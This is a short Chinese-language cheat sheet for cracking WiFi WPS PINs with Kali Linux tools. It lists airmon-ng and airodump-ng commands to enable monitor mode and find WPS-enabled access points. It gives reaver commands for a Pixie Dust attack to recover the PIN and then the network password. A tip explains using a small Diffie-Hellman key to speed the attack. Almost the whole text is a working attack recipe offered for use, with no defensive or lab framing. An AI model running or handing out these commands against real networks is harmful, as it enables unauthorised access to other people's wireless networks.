kali PIN码破解

airmon-ng start wlan0   //开启网卡
airodump-ng wlan0mon    //监听模式，查找开启wps的ap
reaver -i wlan0mon -b [ap’s mac] -vv -K 1 //reaver破解pin-K 1 选项    结合pixies 灰尘攻击 得到pin码
reaver-i mon0 -b [ap's MAC] -p PIN8位数  //通过wps pin 获取密码

注：

reaver -S //生成一个小的DH key 加快破解速度通常一个验证请求会在0.5到3秒内完成，计算Diffie-Hellman共享密钥会占据大量的时间，生成一个很小的DH公钥会使计算变的简单。（如果测试的是realtek 的ap 不要用 -S 选项加快破解速度 ）